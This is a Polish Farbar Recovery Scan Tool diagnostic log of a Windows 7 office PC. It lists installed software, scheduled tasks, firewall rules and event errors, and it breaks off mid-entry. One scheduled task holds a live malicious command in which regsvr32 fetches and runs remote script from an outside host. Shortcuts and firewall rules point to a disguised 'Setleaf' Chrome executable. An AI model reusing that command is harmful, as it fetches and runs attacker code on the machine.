Rezultaty skanu uzupełniającego Farbar Recovery Scan Tool (x64) Wersja: 28-05-2017 Uruchomiony przez Lareco (30-05-2017 20:31:59) Uruchomiony z C:\Instalki Windows 7 Professional Service Pack 1 (X64) (2015-12-19 16:30:02) Tryb startu: Normal ========================================================== ==================== Konta użytkowników: ============================= Administrator (S-1-5-21-3868839101-544848183-1789199905-500 - Administrator - Disabled) Gość (S-1-5-21-3868839101-544848183-1789199905-501 - Limited - Enabled) HomeGroupUser$ (S-1-5-21-3868839101-544848183-1789199905-1002 - Limited - Enabled) Lareco (S-1-5-21-3868839101-544848183-1789199905-1000 - Administrator - Enabled) => C:\Users\Lareco ==================== Centrum zabezpieczeń ======================== (Załączenie wejścia w fixlist spowoduje jego usunięcie.) AV: Microsoft Security Essentials (Enabled - Up to date) {71A27EC9-3DA6-45FC-60A7-004F623C6189} AS: Microsoft Security Essentials (Enabled - Up to date) {CAC39F2D-1B9C-4A72-5A17-3B3D19BB2B34} AS: Windows Defender (Disabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Zainstalowane programy ====================== (W fixlist dozwolone tylko załączanie programów adware z flagą "Hidden" w celu ich uwidocznienia. Programy adware powinny zostać w poprawny sposób odinstalowane.) 7-Zip 9.20 (x64 edition) (HKLM\...\{23170F69-40C1-2702-0920-000001000000}) (Version: 9.20.00.0 - Igor Pavlov) Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 24.0.0.180 - Adobe Systems Incorporated) Adobe Flash Player 25 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 25.0.0.171 - Adobe Systems Incorporated) Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated) Adobe Reader XI MUI (HKLM-x32\...\{AC76BA86-7AD7-FFFF-7B44-AB0000000001}) (Version: 11.0.00 - Adobe Systems Incorporated) Ashampoo Burning Studio 6 FREE v.6.84 (HKLM-x32\...\{91B33C97-3ED1-03EA-A67B-244AA4D7B559}_is1) (Version: 6.8.4 - Ashampoo GmbH & Co. KG) BILANS Gofin 2016 1.0.6.0 (HKLM-x32\...\{fc86bc3e-e85d-40c4-8c11-a318873072e4}) (Version: 1.0.6.0 - Wydawnictwo Podatkowe GOFIN sp. z o.o.) BILANS Gofin 2016 1.0.6.0 (x32 Version: 1.0.6.0 - Wydawnictwo Podatkowe GOFIN sp. z o.o.) Hidden Comarch ERP Optima (HKLM-x32\...\Comarch ERP Optima) (Version: 2017.3.1.1203 - Comarch SA) Comarch ERP Optima (x32 Version: 2017.3.1.1203 - Comarch SA) Hidden Comarch ERP WMPAINT Fix (HKLM\...\{6713fee8-dd53-48f5-adc5-b5a0498bde48}.sdb) (Version: - ) Common Desktop Agent (Version: 1.62.0 - OEM) Hidden CryptoCard Suite (32/64 bit) (HKLM-x32\...\{d96fbaa0-b61f-4755-8854-381526209d43}) (Version: 2.1.170 - CryptoTech) CryptoCard Suite (64bit) (Version: 2.01.00170 - CryptoTech) Hidden CryptoCard Suite (x32 Version: 2.01.00170 - CryptoTech) Hidden Crystal Reports dla Comarch ERP Optima (HKLM-x32\...\Crystal Reports dla Comarch ERP Optima) (Version: 1.0.0.0 - Comarch SA) Crystal Reports dla Comarch ERP Optima (x32 Version: 1.0.0.0 - Comarch SA) Hidden DELEGACJE Krajowe i Zagraniczne wersja 2.80 (HKLM-x32\...\DELEGACJE Krajowe i Zagraniczne_is1) (Version: - ) DelegacjeSQL v.2.30.4 wersja bazy danych 139 (HKLM-x32\...\{7E06E20D-E637-40CA-A362-61596DB96F13}_is1) (Version: - INTER-SOFT) Dell Backup and Recovery (HKLM-x32\...\{0ED7EE95-6A97-47AA-AD73-152C08A15B04}) (Version: 1.8.0.66 - Dell Inc.) Dell Command | Update (HKLM-x32\...\{EC542D5D-B608-4145-A8F7-749C02BE6D94}) (Version: 2.1.0 - Dell Inc.) Dell Digital Delivery (HKLM-x32\...\{693A23FB-F28B-4F7A-A720-4C1263F97F43}) (Version: 3.1.1002.0 - Dell Products, LP) Dell Edoc Viewer (HKLM\...\{8EBA8727-ADC2-477B-9D9A-1A1836BE4E05}) (Version: 1.0.0 - Dell Inc) Dell Foundation Services (HKLM\...\{BDB50421-E961-42F3-B803-6DAC6F173834}) (Version: 3.4.16100.0 - Dell Inc.) Dell Protected Workspace (HKLM-x32\...\{E2CAA395-66B3-4772-85E3-6134DBAB244E}) (Version: 4.0.18189 - Invincea, Inc.) Dell Update (HKLM-x32\...\{DB82968B-57A4-4397-81A5-ECAB21B5DFCD}) (Version: 1.7.1015.0 - Dell Inc.) Firebird 2.1.3.18185 (Win32) (HKLM-x32\...\FBDBServer_2_1_is1) (Version: 2.1.3.18185 - Firebird Project) Free PDF to Word Doc Converter v1.1 (HKLM-x32\...\Free PDF to Word Doc Converter_is1) (Version: 1.1 - www.hellopdf.com) Google Chrome (HKLM-x32\...\Google Chrome) (Version: 58.0.3029.110 - Google Inc.) Google Update Helper (x32 Version: 1.3.33.5 - Google Inc.) Hidden iBard24 (HKLM-x32\...\{6CACB9AB-7A75-4E1B-8C71-D21F159B9B14}) (Version: 2.9.10.18637 - iComarch24 S.A.) Intel Security True Key (HKLM\...\TrueKey) (Version: 4.3.145.1 - Intel Security) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 10.0.31.1000 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.14.4170 - Intel Corporation) Intel(R) USB 3.0 eXtensible Host Controller Driver (HKLM-x32\...\{240C3DDD-C5E9-4029-9DF7-95650D040CF2}) (Version: 2.5.4.40 - Intel Corporation) Manager (x32 Version: 4.0.1.25166 - 2015 pdfforge GmbH. All rights reserved) Hidden Maxx Audio Installer (x64) (Version: 1.6.5073.107 - Waves Audio Ltd.) Hidden Microsoft .NET Framework 4.6.1 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.6.01055 - Microsoft Corporation) Microsoft Office 2013 dla Użytkowników Domowych i Małych Firm - pl-pl (HKLM\...\HomeBusinessRetail - pl-pl) (Version: 15.0.4927.1002 - Microsoft Corporation) Microsoft Security Essentials (HKLM\...\Microsoft Security Client) (Version: 4.10.209.0 - Microsoft Corporation) Microsoft SkyDrive (HKU\S-1-5-21-3868839101-544848183-1789199905-1000\...\SkyDriveSetup.exe) (Version: 16.4.6012.0828 - Microsoft Corporation) Microsoft SQL Server 2005 Backward compatibility (HKLM\...\{8909B8A7-CEAB-4772-BF29-1892C4E6603B}) (Version: 8.05.2309 - Microsoft Corporation) Microsoft SQL Server 2008 R2 Command Line Utilities (HKLM\...\{D9F711D3-3C90-4D79-9292-47C90C722E2A}) (Version: 10.50.1600.1 - Microsoft Corporation) Microsoft SQL Server 2008 R2 Native Client (HKLM\...\{2180B33F-3225-423E-BBC1-7798CFD3CD1F}) (Version: 10.50.1600.1 - Microsoft Corporation) Microsoft SQL Server 2012 Management Objects (HKLM-x32\...\{DA1C1761-5F4F-4332-AB9D-29EDF3F8EA0A}) (Version: 11.0.2100.60 - Microsoft Corporation) Microsoft System CLR Types for SQL Server 2012 (HKLM-x32\...\{E2082604-4BA5-44BB-BBFB-AF0F3CB8C6AB}) (Version: 11.0.2100.60 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{6E8E85E8-CE4B-4FF5-91F7-04999C9FAE6A}) (Version: 8.0.50727.42 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation) Microsoft WSE 3.0 Runtime (HKLM-x32\...\{E3E71D07-CD27-46CB-8448-16D4FB29AA13}) (Version: 3.0.5305.0 - Microsoft Corp.) Mozilla Thunderbird 45.8.0 (x86 pl) (HKLM-x32\...\Mozilla Thunderbird 45.8.0 (x86 pl)) (Version: 45.8.0 - Mozilla) MSI to redistribute MS VS2005 CRT libraries (HKLM-x32\...\{A8D93648-9F7F-407D-915C-62044644C3DA}) (Version: 8.0.50727.42 - The Firebird Project) MSXML 4.0 SP2 (KB954430) (HKLM-x32\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation) MSXML 4.0 SP2 (KB973688) (HKLM-x32\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation) MSXML 4.0 SP2 Parser and SDK (HKLM-x32\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation) Office 15 Click-to-Run Extensibility Component (x32 Version: 15.0.4927.1002 - Microsoft Corporation) Hidden Office 15 Click-to-Run Licensing Component (Version: 15.0.4927.1002 - Microsoft Corporation) Hidden Office 15 Click-to-Run Localization Component (x32 Version: 15.0.4927.1002 - Microsoft Corporation) Hidden PDF Architect 4 (HKLM-x32\...\PDF Architect 4) (Version: 4.0.34.26215 - pdfforge GmbH) PDF Architect 4 Create Module (Version: 4.0.12.26604 - pdfforge GmbH) Hidden PDF Architect 4 Edit Module (Version: 4.0.12.26604 - pdfforge GmbH) Hidden PDF Architect 4 View Module (Version: 4.0.12.26604 - pdfforge GmbH) Hidden PDFCreator (HKLM\...\{0001B4FD-9EA3-4D90-A79E-FD14BA3AB01D}) (Version: 2.2.2 - pdfforge) PITy2015 IPS 1.7 kompilacja:1.7.3.9 (HKLM-x32\...\PITy2015IPS_is1) (Version: - IPS Przedsiębiorstwo Informatyczne) Płatnik 10.01.001 (HKLM-x32\...\{05381030-963D-4779-BECA-0D7D49268EDB}) (Version: 10.01.001 - Asseco Poland S.A.) Polski pakiet językowy dla narzędzi Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\...\Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - PLK) (Version: 10.0.50903 - Microsoft Corporation) Program Pit 2016 - wersja: 10.0.4.47 (HKLM-x32\...\Roczne rozliczenie podatku dochodowego - PIT Gofin 2016_is1) (Version: - Wydawnictwo Podatkowe GOFIN sp. z o.o.) Realtek Audio COM Components (HKLM-x32\...\{2355B503-9B11-4449-861D-1C1748B26320}) (Version: 1.0.2 - Realtek Semiconductor Corp.) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6068 - Realtek Semiconductor Corp.) Samsung Easy Printer Manager (HKLM-x32\...\Samsung Easy Printer Manager) (Version: 1.05.81.00(2015-05-25) - Samsung Electronics Co., Ltd.) Samsung Printer Live Update (HKLM-x32\...\Samsung Printer Live Update) (Version: 1.01.00:04(2013-04-22) - Samsung Electronics Co., Ltd.) SQL DMO dla Comarch ERP Optima (HKLM-x32\...\SQL DMO dla Comarch ERP Optima) (Version: 1.0.0.0 - Comarch SA) SQL DMO dla Comarch ERP Optima (x32 Version: 1.0.0.0 - Comarch SA) Hidden SQLXML 3.0 SP3 (HKLM-x32\...\{19ABFD8F-CB86-4965-9282-047FC27084F1}) (Version: 3.30.3457.0 - Microsoft Corporation) Sterowniki firmy InsERT 5.19 (HKLM-x32\...\{E5CCEA56-DC84-440E-8785-D5A7A6B7FB39}) (Version: 5.19 - InsERT) TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.77242 - TeamViewer) TightVNC (HKLM\...\{D2372F87-7DA2-47F7-A102-AF2181B8EAA2}) (Version: 2.7.10.0 - GlavSoft LLC.) WRF (Płatnik) 1.03.002 (HKLM-x32\...\{460BE803-88CF-4FD2-9082-2450A5959959}) (Version: 1.03.002 - Asseco Poland S.A.) WRFKL 1.02.001 H (HKLM-x32\...\{A98C53C1-D7D5-43FE-82F4-EACD66292004}) (Version: 1.02.001 H - Asseco Poland S.A.) WRFSL 1.02.001 J (HKLM-x32\...\{98A95680-71E0-4C6B-B3D0-384193FCA4F6}) (Version: 1.02.001 J - Asseco Poland S.A.) Wtyczka e-Deklaracje (HKLM-x32\...\{81BF6353-3C5B-4E6E-A566-7E162A00BF72}_is1) (Version: 4.2.0 - Ministerstwo Finansów) ==================== Niestandardowe rejestracje CLSID (filtrowane): ========================== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) CustomCLSID: HKU\S-1-5-21-3868839101-544848183-1789199905-1000_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32 -> C:\Users\Lareco\AppData\Local\Microsoft\SkyDrive\16.4.6012.0828\amd64\SkyDriveShell64.dll (Microsoft Corporation) CustomCLSID: HKU\S-1-5-21-3868839101-544848183-1789199905-1000_Classes\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32 -> C:\Users\Lareco\AppData\Local\Microsoft\SkyDrive\16.4.6012.0828\amd64\SkyDriveShell64.dll (Microsoft Corporation) CustomCLSID: HKU\S-1-5-21-3868839101-544848183-1789199905-1000_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32 -> C:\Users\Lareco\AppData\Local\Microsoft\SkyDrive\16.4.6012.0828\amd64\SkyDriveShell64.dll (Microsoft Corporation) CustomCLSID: HKU\S-1-5-21-3868839101-544848183-1789199905-1000_Classes\CLSID\{F8071786-1FD0-4A66-81A1-3CBE29274458}\InprocServer32 -> C:\Users\Lareco\AppData\Local\Microsoft\SkyDrive\16.4.6012.0828\amd64\FileSyncApi64.dll (Microsoft Corporation) ==================== Zaplanowane zadania (filtrowane) ============= (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) Task: {00E1CFD1-8495-4C86-9E16-A3CDFFBC103F} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2017-04-11] (Microsoft Corporation) Task: {05A9E5C5-4A87-4F01-81D4-938E639F875E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-05-21] (Google Inc.) Task: {1559D02D-C400-42F7-ACF1-E13DBA6EF2D1} - System32\Tasks\Microsoft\Microsoft Antimalware\Microsoft Antimalware Scheduled Scan => c:\Program Files\Microsoft Security Client\\MpCmdRun.exe [2016-11-14] (Microsoft Corporation) Task: {310397E1-07D2-4DCD-AE19-9C3C898C29BE} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-05-21] (Google Inc.) Task: {59BEB99E-C271-4376-BDB0-276EA360A713} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj83FURWRjqcMUEcRYI1NYM3FjzLMjH2FdZYRYIxRWqdRH== scrobj.dll Task: {762AF580-F691-4BB5-8543-B64BE04DAF00} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [2016-06-25] (Adobe Systems Incorporated) Task: {8E44A692-DCAE-4CCB-B490-7E6B769CB3C3} - System32\Tasks\RtHDVBg_PushButton => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [2015-03-21] (Realtek Semiconductor) Task: {C9B76950-633D-4546-9BBE-C180AFA51188} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-05-09] (Adobe Systems Incorporated) Task: {DFD9CC2E-61E0-46DE-86D9-B7B8203DB425} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2017-04-11] (Microsoft Corporation) (Załączenie wejścia w fixlist spowoduje przesunięcie pliku zadania (.job). Plik uruchamiany docelowo przez zadanie nie zostanie przeniesiony.) ==================== Skróty ============================= (Wybrane wejścia mogą zostać załączone w celu ich zresetowania lub usunięcia.) Shortcut: C:\Users\Lareco\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Setleaf\Application\chrome.exe (Google Inc.) Shortcut: C:\Users\Lareco\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk -> C:\Program Files (x86)\Setleaf\Application\chrome.exe (Google Inc.) Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Setleaf\Application\chrome.exe (Google Inc.) Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Setleaf\Application\chrome.exe (Google Inc.) ==================== Załadowane moduły (filtrowane) ============== 2015-07-15 16:25 - 2015-07-15 16:25 - 00022528 _____ () C:\Windows\System32\ssa6mlm.dll 2015-12-28 10:13 - 2017-01-17 04:25 - 00117440 _____ () C:\Program Files\Microsoft Office 15\ClientX64\ApiClient.dll 2015-06-03 12:01 - 2015-06-03 12:01 - 00078336 _____ () C:\Program Files (x86)\iBard24\2.9.10.18637\RSyncLib.dll 2015-06-03 11:59 - 2015-06-03 11:59 - 00028672 _____ () C:\Program Files (x86)\iBard24\2.9.10.18637\iBard24.SMOWrapperV10.dll 2015-06-03 11:59 - 2015-06-03 11:59 - 00028672 _____ () C:\Program Files (x86)\iBard24\2.9.10.18637\iBard24.SMOWrapperV11.dll 2015-06-03 11:59 - 2015-06-03 11:59 - 00028672 _____ () C:\Program Files (x86)\iBard24\2.9.10.18637\iBard24.SMOWrapperV12.dll 2014-09-08 14:39 - 2014-09-08 14:39 - 00464608 _____ () C:\Program Files\Common Files\Common Desktop Agent\CDASrv.exe 2014-09-08 14:38 - 2014-09-08 14:38 - 00051200 _____ () C:\Program Files\Common Files\Common Desktop Agent\CDASrvPS.dll 2015-10-14 21:58 - 2015-04-14 04:12 - 00391784 _____ () C:\Windows\system32\igfxTray.exe 2014-11-10 12:12 - 2014-11-10 12:12 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll - - 00000000 _____ () c:\programdata\package cache\{e01cb7f1-3e88-4450-1764-b3cc1e205c4a}v10.1.14393.795\installers\30daf459e79c5d26366654b1b482e87.cab:dp 2015-10-14 13:54 - 2015-01-27 10:26 - 01905904 ____N () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\STRestoreAPI.dll 2015-10-14 13:54 - 2012-11-25 22:19 - 01153384 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\libxml2.dll 2015-10-14 13:54 - 2014-02-18 14:12 - 00117568 _____ () C:\Program Files (x86)\Dell Backup and Recovery\Components\Restore\zlib1.dll ==================== Alternate Data Streams (filtrowane) ========= (Załączenie wejścia w fixlist spowoduje usunięcie strumienia ADS.) AlternateDataStreams: C:\Windows\SysWOW64\MSIHANDLE:539 [0] AlternateDataStreams: C:\Windows\SysWOW64\MSIHANDLE:581 [0] AlternateDataStreams: C:\Windows\SysWOW64\MSIHANDLE:679 [0] ==================== Tryb awaryjny (filtrowane) =================== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Wartość "AlternateShell" zostanie przywrócona.) ==================== Powiązania plików (filtrowane) =============== (Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci.) ==================== Internet Explorer - Witryny zaufane i z ograniczeniami =============== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru.) ==================== Hosts - zawartość: =============================== (Użycie dyrektywy Hosts: w fixlist spowoduje reset pliku Hosts.) 2009-07-14 04:34 - 2017-05-20 15:36 - 00000027 _____ C:\Windows\system32\Drivers\etc\hosts 127.0.0.1 localhost ==================== Inne obszary ============================ (Obecnie brak automatycznej naprawy dla tej sekcji.) HKU\S-1-5-21-3868839101-544848183-1789199905-1000\Control Panel\Desktop\\Wallpaper -> C:\Users\Lareco\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg DNS Servers: 10.0.0.1 - 8.8.8.8 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) Zapora systemu Windows [funkcja włączona] ==================== MSCONFIG/TASK MANAGER - Wyłączone elementy == MSCONFIG\startupreg: EEDSpeedLauncher => rundll32.exe C:\Windows\system32\eed_ec.dll,SpeedLauncher MSCONFIG\startupreg: iBard24 => "C:\Program Files (x86)\iBard24\IBardClient.exe" -autostart ==================== Reguły Zapory systemu Windows (filtrowane) =============== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) FirewallRules: [SPPSVC-In-TCP] => (Allow) %SystemRoot%\system32\sppsvc.exe FirewallRules: [SPPSVC-In-TCP-NoScope] => (Allow) %SystemRoot%\system32\sppsvc.exe FirewallRules: [{69A394C7-AAB5-4A29-8C22-8B8241D754D6}] => (Allow) C:\Users\Lareco\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe FirewallRules: [{0B7FFF48-5B87-42F7-A4D4-B0097BB4DBA6}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{9C5A1C2E-3952-434F-813B-D9B007B2764D}] => (Allow) C:\Program Files\Microsoft Office 15\root\Office15\outlook.exe FirewallRules: [{8FE849FA-FBB2-46DB-83D4-DF006705EECA}] => (Allow) C:\Program Files\TightVNC\tvnserver.exe FirewallRules: [{67D38BD5-A0AE-4C7C-8479-77B173809C49}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe FirewallRules: [{FBF766A8-A9F5-404F-A5AA-BF1D8794AC47}] => (Allow) C:\Program Files\Common Files\Common Desktop Agent\CDASrv.exe FirewallRules: [{CAF44BD2-56BB-42EB-97D0-3F7EA07C7901}] => (Allow) C:\Program Files\Common Files\Common Desktop Agent\CDASrv.exe FirewallRules: [{9A8E3F26-5083-475E-9A23-EA558BE5E109}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\IDS.Application.exe FirewallRules: [{4708007C-5511-44BE-9359-3A347029E28C}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\OrderSupplies.exe FirewallRules: [{FDB0154B-C29A-41C5-96E5-CF4D8F71AEEA}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\IDSAlert.exe FirewallRules: [{725CA7BE-3824-4A02-B72D-B65D1A9A0A5F}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\uninstall.exe FirewallRules: [{AB46C8FD-43CA-43BC-AF35-10F7A223E6F6}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\CDAS2PC\CDAS2PC.exe FirewallRules: [{55EEEB16-404B-4D38-8FF7-BF08C37A6392}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\CDAS2PC\ScanProcess.exe FirewallRules: [{1CE39466-3587-48E7-BBE0-C0DA18487C0B}] => (Allow) C:\Program Files (x86)\Samsung\Easy Printer Manager\CDAS2PC\Scan2PCNotify.exe FirewallRules: [{3B897E5B-3370-4237-9B98-DA0C6C9CC54E}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{2653B954-FDC8-4B8C-A993-CE7CA8FD7591}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{0043C472-81FB-4F39-9E83-A8AA0FAA9A7D}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{DA2CA6E2-8C71-4C58-83D9-2D0BC63C7F9D}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [TCP Query User{64C7A4E9-21CE-4907-949D-C35FFD019877}C:\program files (x86)\samsung\easy printer manager\ids.application.exe] => (Block) C:\program files (x86)\samsung\easy printer manager\ids.application.exe FirewallRules: [UDP Query User{68774D74-8651-4AAA-B750-357D3FA14B95}C:\program files (x86)\samsung\easy printer manager\ids.application.exe] => (Block) C:\program files (x86)\samsung\easy printer manager\ids.application.exe FirewallRules: [{D7F4328C-F030-4806-BEF0-97B728139EEE}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{3C3AA3DD-9F06-46BF-8B10-C82E0C6D4B6C}] => (Allow) C:\Program Files (x86)\Comarch ERP Optima\Analizy BI\bin\reports book\reportsbook.exe FirewallRules: [{70FFE525-0C1E-47E9-A269-E2426BF5ABF4}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe FirewallRules: [{4C1EB013-F3B6-437C-B4B6-7B4430252306}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe FirewallRules: [{9ADA7D5F-D8FA-46F4-815C-59C87CC0A668}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe FirewallRules: [{77BABD53-24C7-4D19-BE25-CF7971549C7F}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe FirewallRules: [{655B6149-D7C6-49E9-A319-90A134AE3F2A}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe FirewallRules: [{E75FFA4B-FC78-4CA5-BE2B-43940E08283B}] => (Allow) C:\Program Files (x86)\Setleaf\Application\chrome.exe FirewallRules: [{AE24E800-7B9F-4513-868E-B8212938ABEB}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe FirewallRules: [{563DD3A2-248E-4668-9278-5F1B363839D7}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe ==================== Punkty Przywracania systemu ========================= 23-05-2017 14:59:52 Windows Update 29-05-2017 10:19:31 Windows Update ==================== Wadliwe urządzenia w Menedżerze urządzeń ============= Name: Teredo Tunneling Pseudo-Interface Description: Karta tunelowania Teredo firmy Microsoft Class Guid: {4d36e972-e325-11ce-bfc1-08002be10318} Manufacturer: Microsoft Service: tunnel Problem: : This device cannot start. (Code10) Resolution: Device failed to start. Click "Update Driver" to update the drivers for this device. On the "General Properties" tab of the device, click "Troubleshoot" to start the troubleshooting wizard. ==================== Błędy w Dzienniku zdarzeń: ========================= Dziennik Aplikacja: ================== Error: (05/30/2017 08:14:21 AM) (Source: TrueKey) (EventID: 0) (User: ) Description: Failed to process session change. System.ArgumentException: Data Source cannot be empty. Use :memory: to open an in-memory database at System.Data.SQLite.SQLiteConnection.Open() at McAfee.YAP.Service.Data.McBioSQLite.GetConnection() at McAfee.YAP.Service.Data.McBioSQLite.StoreInServiceInfo(String key, String value) at McAfee.YAP.Service.Common.McBioBCAService.DisableSpoofingMode() at McAfee.YAP.Service.Service.OnSessionChange(SessionChangeDescription changeDescription) at System.ServiceProcess.ServiceBase.DeferredSessionChange(Int32 eventType, Int32 sessionId) Error: (05/30/2017 08:13:49 AM) (Source: WinMgmt) (EventID: 10) (User: ) Description: Event filter with query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99" could not be reactivated in namespace "//./root/CIMV2" because of error 0x80041003. Events cannot be delivered through this filter until the problem is corrected. Error: (05/30/2017 08:13:12 AM) (Source: Aktualizacja Programu Płatnik) (EventID: 0) (User: ) Description: Service cannot be started. Nieprawidłowe dojście Error: (05/30/2017 08:08:35 AM) (Source: FirebirdGuardianDefaultInstance) (EventID: 281) (User: ) Description: Event-ID 281 Error: (05/29/2017 10:09:43 